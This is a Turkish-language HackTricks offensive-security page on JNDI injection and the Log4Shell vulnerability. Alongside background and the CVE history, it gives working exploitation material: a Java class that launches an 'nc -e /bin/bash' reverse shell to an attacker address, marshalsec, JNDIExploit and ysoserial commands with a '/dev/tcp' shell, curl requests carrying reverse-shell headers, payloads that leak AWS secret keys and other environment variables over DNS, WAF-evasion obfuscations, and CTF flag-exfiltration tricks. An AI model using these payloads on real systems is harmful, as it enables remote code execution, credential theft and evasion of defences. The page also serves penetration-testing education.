Turkish - Ht
HackTricks Training Twitter Linkedin Sponsor

JNDI - Java Naming and Directory Interface & Log4Shell

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Try Hard Güvenlik Grubu

Temel Bilgiler

JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiş olup bir dizin hizmeti olarak hizmet verir, Java programlarının veri veya nesneleri bir isimlendirme sistemi aracılığıyla bulmasını sağlar. SPI'lar (Hizmet Sağlayıcı Arabirimleri) aracılığıyla çeşitli dizin hizmetlerini destekler, farklı sistemlerden veri alınmasına izin verir, uzak Java nesneleri de dahil olmak üzere. Ortak SPI'lar arasında CORBA COS, Java RMI Kaydı ve LDAP bulunur.

JNDI İsimlendirme Referansı

Java nesneleri, iki şekilde gelen JNDI İsimlendirme Referansları kullanılarak depolanabilir ve alınabilir:

  • Referans Adresleri: Bir nesnenin konumunu belirtir (ör. rmi://sunucu/ref), belirtilen adresten doğrudan alımı sağlar.

  • Uzak Fabrika: Uzak bir fabrika sınıfına referans verir. Erişildiğinde, sınıf uzak konumdan indirilir ve örneklenir.

Ancak, bu mekanizma kötüye kullanılabilir ve potansiyel olarak keyfi kod yüklenmesine ve yürütülmesine yol açabilir. Bir karşı önlem olarak:

  • RMI: JDK 7u21'den itibaren varsayılan olarak java.rmi.server.useCodeabseOnly = true, uzak nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, neyin yüklenebileceğini daha da sınırlar.

  • LDAP: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak com.sun.jndi.ldap.object.trustURLCodebase = false, uzaktan yüklenen Java nesnelerinin yürütülmesini engeller. true olarak ayarlanırsa, Güvenlik Yöneticisinin denetimine gerek olmadan uzaktan kod yürütme mümkün olur.

  • CORBA: Belirli bir özelliği olmasa da Güvenlik Yöneticisi her zaman etkindir.

Ancak, JNDI bağlantılarını çözen İsimlendirme Yöneticisi, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına izin verebilir. Bu durum, RMI, LDAP ve CORBA korumalarının atlatılmasına ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadget'lar) kötü amaçlı kod çalıştırmak için sömürülmesine yol açabilir.

Sömürülebilecek URL örnekleri şunlardır:

  • rmi://saldırgan-sunucu/bar

  • ldap://saldırgan-sunucu/bar

  • iiop://saldırgan-sunucu/bar

Koruma önlemlerine rağmen, güvenlik açıkları genellikle güvensiz kaynaklardan JNDI yüklenmesine karşı koruma olmaması ve mevcut korumaların atlatılma olasılığı nedeniyle devam etmektedir.

JNDI Örneği

PROVIDER_URL ayarlamış olsanız bile, bir arama yaparken farklı bir URL belirtebilir ve erişilebilir: ctx.lookup("<saldırgan-kontrollü-url>") ve bu, bir saldırganın kendi kontrolündeki bir sistemden keyfi nesneleri yüklemek için kötüye kullanacağı şeydir.

CORBA Genel Bakış

CORBA (Ortak Nesne İstek Broker Mimarisi), uzak nesneleri benzersiz bir şekilde tanımlamak için bir Uyumlu Nesne Referansı (IOR) kullanır. Bu referans, şunları içeren temel bilgileri içerir:

  • Tür Kimliği: Bir arayüz için benzersiz tanımlayıcı.

  • Kod Tabanı: Yer tutucu sınıfın alınacağı URL.

Önemli olarak, CORBA temelde savunmasız değildir. Genellikle güvenliği sağlamak için:

  • Bir Güvenlik Yöneticisi kurulumu.

  • Güvenlik Yöneticisinin potansiyel olarak kötü amaçlı kod tabanlarına bağlantıları izin vermesi. Bu, şunlar aracılığıyla başarılabilir:

  • Soket izni, örn. permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Dosya okuma izinleri, ya evrensel olarak (permission java.io.FilePermission "<<ALL FILES>>", "read";) ya da kötü amaçlı dosyaların yerleştirilebileceği belirli dizinler için.

Ancak, bazı satıcı politikaları hoşgörülü olabilir ve bu bağlantılara varsayılan olarak izin verebilir.

RMI Bağlamı

RMI (Uzak Yöntem Çağrısı) için durum biraz farklıdır. CORBA ile benzer şekilde, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi sömürmek için genellikle Güvenlik Yöneticisini atlatmak gerekecektir, bu da CORBA için de geçerli bir başarıdır.

LDAP

Öncelikle, bir Arama ve bir Arama arasında ayrım yapmamız gerekmektedir. Bir arama, ldap://localhost:389/o=JNDITutorial gibi bir URL kullanarak bir LDAP sunucusundan JNDITutorial nesnesini bulmak ve özniteliklerini almak için kullanılır. Bir arama, isim hizmetleri içindir çünkü bir isme bağlı olan her şeyi almak istiyoruz.

Eğer LDAP araması SearchControls.setReturningObjFlag() ile true olarak çağrıldıysa, dönen nesne yeniden oluşturulacaktır.

Bu nedenle, bu seçeneklere saldırmak için birkaç yol vardır. Bir saldırgan, LDAP kayıtlarını zehirleyebilir ve bunlara yürütülecek yükler ekleyebilir (LDAP sunucusuna erişiminiz varsa onlarca makineyi tehlikeye atmak için çok kullanışlıdır). Bunun başka bir yolunu ise örneğin bir LDAP aramasında MitM saldırısı gerçekleştirmek olabilir.

Bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, aranacak LDAP'yi kontrol edebilir ve saldırıyı geri gönderebilirsiniz (log4shell).

Serileştirme sömürüsü

Sömürü serileştirilir ve deserileştirilir. trustURLCodebase true ise, bir saldırgan kod tabanında kendi sınıflarını sağlayabilir, aksi takdirde sınıf yolundaki gadget'ları kötüye kullanması gerekecektir.

JNDI Referansı sömürüsü

Bu LDAP'ı saldırmak için JavaFactory referanslarını kullanmak daha kolaydır:

Log4Shell Zafiyeti

Zafiyet, Log4j'de tanımlanan bir özel sözdizimini desteklediği için ortaya çıkar, bu sözdizimi ${prefix:ad} şeklinde olup prefix farklı Arama türlerinden biridir ve ad değerlendirilmelidir. Örneğin, ${java:sürüm} mevcut Java sürümünü temsil eder.

LOG4J2-313 bir jndi Arama özelliği tanıttı. Bu özellik, değişkenlerin JNDI aracılığıyla alınmasını sağlar. Genellikle anahtar otomatik olarak java:comp/env/ ile öneklenir. Ancak, anahtar kendisi ":" içeriyorsa, bu varsayılan önek uygulanmaz.

Anahtarın içinde ":" olduğunda, ${jndi:ldap://örnek.com/a} gibi, önek yoktur ve LDAP sunucusu nesne için sorgulanır. Ve bu Aramalar, Log4j'nin yapılandırmasında ve satırlar günlüğe kaydedilirken kullanılabilir.

Bu nedenle, yalnızca bir kullanıcı tarafından kontrol edilen bilgileri işleyen Log4j'nin savunmasız bir sürümüne ihtiyaç duyulur. Ve çünkü bu, Java uygulamaları tarafından geniş çapta kullanılan bir kütüphanedir (İnternet üzerinden erişilebilen uygulamalar da dahil) örneğin HTTP başlıklarının alındığı gibi log4j'nin sadece HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girişi ve veriyi kaydetmek için kullanıldığı çok yaygındır.

Log4Shell İlgili CVE'lerin Genel Bakışı

CVE-2021-44228 [Kritik]

Bu zafiyet, log4j-core bileşeninde kritik bir güvensiz serileştirme açığı olup, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. Uzaktan kod yürütme (RCE) sağlayarak saldırganların sistemleri ele geçirmesine olanak tanır. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından bildirilmiştir ve çeşitli Apache çerçevelerini etkilemektedir. İlk düzeltme 2.15.0 sürümünde eksikti. Savunma için Sigma kuralları mevcuttur (Kural 1, Kural 2).

CVE-2021-45046 [Kritik]

Başlangıçta düşük derecelendirilen ancak daha sonra kritik olarak yükseltilen bu CVE, 2.15.0'da CVE-2021-44228 için eksik bir düzeltmeden kaynaklanan bir Hizmet Reddi (DoS) açığıdır. Varsayılan olmayan yapıları etkiler ve saldırganların oluşturulmuş yükler aracılığıyla DoS saldırılarına neden olmalarına izin verir. Bir tweet bir atlatma yöntemini sergilemektedir. Sorun, mesaj arama desenlerini kaldırarak ve JNDI'yi varsayılan olarak devre dışı bırakarak 2.16.0 ve 2.12.2 sürümlerinde çözülmüştür.

CVE-2021-4104 [Yüksek]

JMSAppender kullanarak varsayılan olmayan yapıları etkileyen Log4j 1.x sürümlerini etkileyen bu CVE, güvensiz serileştirme açığıdır. 1.x dalı için mevcut bir düzeltme bulunmamaktadır ve log4j-core 2.17.0'a yükseltme önerilmektedir.

CVE-2021-42550 [Orta]

Bu zafiyet, Log4j 1.x'in halefi olan Logback günlükleme çerçevesini etkilemektedir. Önceden güvenli olduğu düşünülen çerçeve, savunmasız bulunmuş ve sorunu ele almak için yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.

CVE-2021-45105 [Yüksek]

Log4j 2.16.0, bir DoS açığı içermekte olup, CVE'yi düzeltmek için log4j 2.17.0 sürümünün yayınlanmasını gerektirmiştir. Daha fazla ayrıntıya BleepingComputer'ın raporunda yer verilmiştir.

CVE-2021-44832

Log4j sürüm 2.17'yi etkileyen bu CVE, saldırganın log4j'in yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod yürütme içermektedir. Daha fazla ayrıntı Checkmarx blog gönderisinde bulunmaktadır.

Log4Shell Sömürüsü

Keşif

Bu zafiyet, korumasızsa en azından payload'unuzda belirttiğiniz adrese bir DNS isteği göndereceğinden çok kolay keşfedilir. Bu nedenle, şu gibi yükler:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (canarytokens.com kullanarak)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (interactsh kullanarak)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (Burp Suite kullanarak)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (dnslog kullanarak)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (huntress kullanarak)

Bir DNS isteği alınsa bile uygulamanın sömürülebilir olduğu anlamına gelmez (veya hatta savunmasız olduğu anlamına gelmez), sömürmeyi denemeniz gerekecektir.

Sürüm 2.15'i sömürmek için yerel ana bilgisayar kontrol atlatmasını eklemeniz gerektiğini unutmayın: ${jndi:ldap://127.0.0.1#...}

Yerel Keşif

Kütüphanenin yerel savunmasız sürümlerini aramak için:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Doğrulama

Önce listelenen bazı platformlar, istendiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir. Bu, 2 şey için çok faydalı olabilir:

  • Zafiyeti doğrulamak için

  • Zafiyeti istismar ederek bilgi dışa çıkarmak için

Örneğin şöyle bir şey isteyebilirsiniz: veya ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} gibi ve bir DNS isteği, çevre değişkeninin değeriyle alındığında, uygulamanın zafiyetli olduğunu bilirsiniz.

Denemeye çalışabileceğiniz diğer bilgiler:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Bilgisi

JDK sürümleri 6u141'den yüksek, 7u131'den yüksek veya 8u121'den yüksek olan ana bilgisayarlar, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, com.sun.jndi.ldap.object.trustURLCodebase'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır, bu da JNDI'nin LDAP aracılığıyla uzak bir kod tabanını yüklemesini engeller. Bununla birlikte, bu sürümlerin deserializasyon saldırı vektörüne karşı korunmadığını unutmamak önemlidir.

Bu daha yüksek JDK sürümlerini sömürmeyi amaçlayan saldırganlar için Java uygulaması içinde bir güvenilir cihaz kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Öte yandan, daha düşük JDK sürümlerini sömürmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve yürütmek için manipüle edilebilir.

Daha fazla bilgi için (RMI ve CORBA vektörlerindeki kısıtlamalar gibi) önceki JNDI Naming Referans bölümünü kontrol edin veya https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ adresini ziyaret edin.

RCE - Özel yük ile Marshalsec

Bu işlemi THM kutusunda test edebilirsiniz: https://tryhackme.com/room/solar

marshalsec aracını kullanın (jar sürümü burada mevcuttur). Bu yaklaşım, bir LDAP yönlendirme sunucusu oluşturarak bağlantıları ikincil bir HTTP sunucusuna yönlendirir ve saldırının barındırılacağı yerdir:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Hedefi ters kabuk kodunu yüklemeye zorlamak için aşağıdaki içeriğe sahip bir Exploit.java adında bir Java dosyası oluşturun:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Derleme işlemi için Java dosyasını şu şekilde bir sınıf dosyasına dönüştürün: javac Exploit.java -source 8 -target 8. Ardından, sınıf dosyasını içeren dizinde bir HTTP sunucusu başlatın: python3 -m http.server. marshalsec LDAP sunucusunun bu HTTP sunucusuna referans verdiğinden emin olun.

Hassas web sunucusunda exploit sınıfının yürütülmesini tetiklemek için şu şekilde bir yük gönderin:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Not: Bu açık, Java'nın LDAP aracılığıyla uzaktan kod tabanı yükleme izin veren yapılandırmasına dayanmaktadır. Bu izin verilmiyorsa, keyfi kod yürütme için güvenilen bir sınıfı sömürmeyi düşünebilirsiniz.

RCE - JNDIExploit

Bazı nedenlerden dolayı yazar, log4shell keşfinden sonra bu projeyi github'dan kaldırmıştır. Bir arşivlenmiş sürümü https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 adresinde bulabilirsiniz ancak yazarın kararına saygı duymak isterseniz bu zafiyeti sömürmek için farklı bir yöntem kullanabilirsiniz.

Ayrıca, kaynak kodunu wayback machine'de bulamazsınız, bu nedenle ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmediğinizi bilerek jar dosyasını çalıştırın.

Bu örnekte, log4shell'i günlüklüyor olan zafiyetli web sunucusunu 8080 numaralı bağlantı noktasında çalıştırabilirsiniz: https://github.com/christophetd/log4shell-vulnerable-app (Nasıl çalıştırılacağını README dosyasında bulabilirsiniz). Bu zafiyetli uygulama, HTTP isteği başlığı X-Api-Version içeriğini log4shell'in zafiyetli sürümüyle günlüklüyor.

Daha sonra, JNDIExploit jar dosyasını indirip şu şekilde çalıştırabilirsiniz:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Kodları sadece birkaç dakika okuduktan sonra, com.feihong.ldap.LdapServer ve com.feihong.ldap.HTTPServer içinde LDAP ve HTTP sunucularının nasıl oluşturulduğunu görebilirsiniz. LDAP sunucusu, hangi yükün hizmet edilmesi gerektiğini anlayacak ve kurbanı HTTP sunucusuna yönlendirecek, bu sunucu ise saldırıyı gerçekleştirecektir. com.feihong.ldap.gadgets içinde kullanılabilecek bazı belirli cihazlar bulabilirsiniz (potansiyel olarak keyfi kod yürütmek için). Ve com.feihong.ldap.template içinde saldırıları oluşturacak farklı şablon sınıflarını görebilirsiniz.

Tüm mevcut saldırıları java -jar JNDIExploit-1.2-SNAPSHOT.jar -u ile görebilirsiniz. Bazı faydalı olanlar:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Yani, örneğimizde zaten o docker açığı olan uygulama çalışıyor. Ona saldırmak için:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Uzaktan Kod Çalıştırma - JNDI-Exploit-Kit

Önceki saldırıya benzer şekilde, bu zafiyeti sömürmek için JNDI-Exploit-Kit'i kullanmayı deneyebilirsiniz. Kurban kişiye göndermek için URL'leri oluşturabilirsiniz:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Bu saldırı, özel olarak oluşturulan bir java nesnesini kullanarak THM solar odası gibi laboratuvarlarda çalışacaktır. Bununla birlikte, genel olarak çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzak kod tabanını yükleme şeklinde yapılandırılmamıştır) çünkü güvenilen bir sınıfı kötüye kullanarak keyfi kod yürütmüyor gibi görünüyor.

Uzaktan Kod Çalıştırma (RCE) - JNDI-Enjeksiyon-Sömürü-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus, çalışabilir JNDI bağlantıları oluşturmak için başka bir araçtır ve RMI sunucusunu, LDAP sunucusunu ve HTTP sunucusunu başlatarak arka plan hizmetleri sağlar.

Uzaktan Kod Çalıştırma (RCE) - ysoserial ve JNDI-Sömürü-Seti

Bu seçenek, yalnızca belirli sınıflara güvenen Java sürümlerini hedef almak için gerçekten kullanışlıdır ve herkese güvenmez. Bu nedenle, ysoserial, güvenilen sınıfların serileştirilmesini oluşturmak için kullanılacak ve keyfi kod yürütmek için araçlar olarak kullanılabilecek (ysoserial tarafından kötüye kullanılan güvenilen sınıf, saldırının çalışabilmesi için kurban java programı tarafından kullanılmalıdır).

ysoserial veya ysoserial-modified kullanarak JNDI tarafından indirilecek olan deserializasyon saldırısını oluşturabilirsiniz:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

JNDI-Exploit-Kit kullanarak, zafiyetli makinelerden gelen bağlantıları bekleyen JNDI bağlantıları oluşturun. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulan farklı exploit'ları veya hatta kendi serileştirme yüklerinizi (siz veya ysoserial tarafından oluşturulan) sunabilirsiniz.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Artık zafiyeti sömürmek ve bir ters kabuk elde etmek için oluşturulan JNDI bağlantısını kolayca kullanabilirsiniz: ${ldap://10.10.14.10:1389/generated}

Atlatmalar

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Otomatik Tarayıcılar

Test Etmek İçin Labaratuvarlar

Log4Shell Sızma Sonrası

Bu CTF yazısı Log4J'nin bazı özelliklerinin potansiyel olarak istismar edilebileceğini iyi bir şekilde açıklıyor.

Log4j'in güvenlik sayfası bazı ilginç cümleler içeriyor:

Java 8 için 2.16.0 sürümünden itibaren mesaj aramaları özelliği tamamen kaldırılmıştır. Yapılandırmadaki aramalar hala çalışır. Ayrıca, Log4j artık JNDI erişimini varsayılan olarak devre dışı bırakır. Yapılandırmadaki JNDI aramalarının açık olması gerekmektedir.

2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), yapılandırmadaki sadece arama dizeleri özyinelemeli olarak genişletilir; diğer herhangi bir kullanımda, yalnızca en üst düzey arama çözülür ve herhangi bir iç içe arama çözülmez.

Bu, varsayılan olarak herhangi bir jndi istismarını kullanamayacağınızı gösterir. Dahası, özyinelemeli aramaları gerçekleştirmek için bunları yapılandırmanız gerekmektedir.

Örneğin, bu CTF'de log4j2.xml dosyasında şu şekilde yapılandırılmıştı:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Ortam Aramaları

Bu CTF sırasında saldırgan ${sys:cmd} değerini kontrol ediyordu ve bayrağı bir ortam değişkeninden dışarı çıkarması gerekiyordu. Bu sayfada önceki yüklerde görüldüğü gibi, ${env:FLAG} gibi farklı ortam değişkenlerine erişmek için farklı yollar bulunmaktadır. Bu CTF'de bu işe yaramadı ancak diğer gerçek hayat senaryolarında işe yaramayabilir.

İstisnalarda Bilgi Dışa Aktarma

CTF'de, log4J kullanarak java uygulamasının stderr'ına erişemediniz, ancak Log4J istisnaları stdout'a gönderildi, bu da python uygulamasında yazdırıldı. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışa aktarmak için bir istisna: ${java:${env:FLAG}}. Bu, ${java:CTF{blahblah}} mevcut olmadığı için çalışır ve bayrağın değeriyle bir istisna gösterilir:

Dönüşüm Desenleri İstisnaları

Sadece belirtmek gerekirse, yeni dönüşüm desenleri enjekte edebilir ve stdout'a kaydedilecek istisnaları tetikleyebilirsiniz. Örneğin:

Bu, hata mesajı içindeki tarihi dışa aktarmak için yararlı bulunmadı, çünkü arama, dönüşüm deseninden önce çözülmedi, ancak algılama gibi diğer şeyler için yararlı olabilir.

Dönüşüm Desenleri Regexler

Ancak, bazı regexleri destekleyen dönüşüm desenleri kullanarak bir aramadan bilgi dışa aktarmak mümkündür ve ikili arama veya zamana dayalı davranışları kötüye kullanabilirsiniz.

  • İstisna mesajları aracılığıyla ikili arama

Dönüşüm deseni %replace bir dizgiden içeriği değiştirmek için regexleri bile kullanabilir. Şöyle çalışır: replace{pattern}{regex}{substitution} Bu davranışı kötüye kullanarak, regex'in dize içinde eşleştiği bir durumda bir istisna tetikleyebilir ve eğer bulunamadıysa istisna tetiklenmez, şöyle:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

  • Zamana Bağlı

Önceki bölümde belirtildiği gibi %replace, regexleri destekler. Bu nedenle ReDoS sayfasından bir payload kullanarak bayrağın bulunduğu durumda bir zaman aşımı oluşturmak mümkündür. Örneğin, %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} gibi bir payload, o CTF'de bir zaman aşımı tetikleyebilir.

Bu yazıda, bir ReDoS saldırısı yerine yanıtta bir zaman farkı oluşturmak için bir amplifikasyon saldırısı kullanıldı:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Eğer bayrak flagGuess ile başlıyorsa, tüm bayrak 29 # ile değiştirilir (Bu karakteri kullandım çünkü büyük ihtimalle bayrağın bir parçası olmayacaktır). Oluşan 29 #'den her biri daha sonra 54 # ile değiştirilir. Bu işlem 6 kez tekrarlanır, toplamda 29*54*54^6* =`` ``96816014208 # oluşur!

Bu kadar çok #'nin değiştirilmesi, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bunun sonucunda kullanıcıya HTTP durum kodu 500 gönderilecektir. (Eğer bayrak flagGuess ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)

Referanslar

Try Hard Security Group

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

PreviousPython Yaml DeserializationNextDomain/Subdomain takeover

Last updated